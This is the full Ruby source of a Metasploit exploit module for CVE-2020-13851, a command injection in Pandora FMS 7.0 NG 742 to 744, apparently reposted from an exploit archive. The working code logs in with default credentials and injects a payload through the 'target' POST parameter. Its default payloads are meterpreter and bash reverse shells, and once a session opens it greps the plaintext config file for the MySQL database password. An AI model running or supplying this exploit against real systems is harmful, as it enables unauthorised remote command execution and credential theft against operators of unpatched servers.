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This Metasploit module exploits a vulnerability (CVE-2020-13851) in Pandora FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps older versions) in order to execute arbitrary commands. This module takes advantage of a command injection vulnerability in th e Events feature of Pandora FMS. This flaw allows users to execute arbitrary commands via the target parameter in HTTP POST requests to the Events function. After authenticating to the target, the module attempts to exploit this flaw by issuing such an HTTP POST request, with the target parameter set to contain the payload. If a shell is obtained, the module will try to obtain the local MySQL database password via a simple grep command on the plaintext /var/www/html/pandora_console/include/config.php file. Valid credentials for a Pandora FMS account are required. The account does not need to have admin privileges. This module has been successfully tested on Pandora 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version). ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Pandora FMS Events Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability (CVE-2020-13851) in Pandora FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps older versions) in order to execute arbitrary commands. This module takes advantage of a command injection vulnerability in the `Events` feature of Pandora FMS. This flaw allows users to execute arbitrary commands via the `target` parameter in HTTP POST requests to the `Events` function. After authenticating to the target, the module attempts to exploit this flaw by issuing such an HTTP POST request, with the `target` parameter set to contain the payload. If a shell is obtained, the module will try to obtain the local MySQL database password via a simple `grep` command on the plaintext `/var/www/html/pandora_console/include/config.php` file. Valid credentials for a Pandora FMS account are required. The account does not need to have admin privileges. This module has been successfully tested on Pandora 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version). }, 'License' => MSF_LICENSE, 'Author' => [ 'Fernando Catoira', # Discovery 'Julio Sanchez', # Discovery 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-13851'], # RCE via the `events` feature ['URL', 'https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities'] ], 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD], 'Targets' => [ [ 'Linux (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux (x64)', { 'Arch' => ARCH_X64, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux (cmd)', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2020-06-04', 'DefaultTarget' => 1 ) ) register_options [ OptString.new('TARGETURI', [true, 'Base path to Pandora FMS', '/pandora_console/']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pandora']) ] end def check vprint_status('Running check') res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.php') unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('<title>Pandora FMS - the Flexible Monitoring System</title>') return CheckCode::Safe('Target is not a Pandora FMS application.') end @cookie = res.get_cookies html = res.get_html_document full_version = html.at('div[@id="ver_num"]') if full_version.blank? return CheckCode::Detected('Could not determine the Pandora FMS version.') end full_version = full_version.text version = full_version[1..-1].sub('NG', '') if version.blank? return CheckCode::Detected('Could not determine the Pandora FMS version.') end version = Gem::Version.new version unless version <= Gem::Version.new('7.0.744') return CheckCode::Safe("Target is Pandora FMS version #{full_version}.") end CheckCode::Appears("Target is Pandora FMS version #{full_version}.") end def login(user, pass) vprint_status "Authenticating as #{user} ..." res = send_request_cgi!({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'cookie' => @cookie, 'vars_get' => { 'login' => '1' }, 'vars_post' => { 'nick' => user, 'pass' => pass, 'login_button' => 'Login' } }) unless res.code == 200 && res.body.include?('<b>Pandora FMS Overview</b>') fail_with Failure::NoAccess, 'Authentication failed' end print_good "Authenticated as user #{user}." end def on_new_session(client) super if target.arch.first == ARCH_CMD print_status('Trying to read the MySQL DB password from include/config.php. The default privileged user is `root`.') client.shell_write("grep dbpass include/config.php\n") else print_status('Tip: You can try to obtain the MySQL DB password via the shell command `grep dbpass include/config.php`. The default privileged user is `root`.') end end def execute_command(cmd, _opts = {}) print_status('Executing payload...') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax.php'), 'cookie' => @cookie, 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', 'Referer' => full_uri('index.php'), 'vars_get' => { 'sec' => 'eventos', 'sec2' => 'operation/events/events' }, 'vars_post' => { 'page' => 'include/ajax/events', 'perform_event_response' => '10000000', 'target' => cmd.to_s, 'response_id' => '1' } }, 0) # the server will not send a response, so the module shouldn't wait for one end def exploit login(datastore['USERNAME'], datastore['PASSWORD']) if target.arch.first == ARCH_CMD execute_command payload.encoded else execute_cmdstager(background: true) end end end # 0day.today [2020-07-12] # Source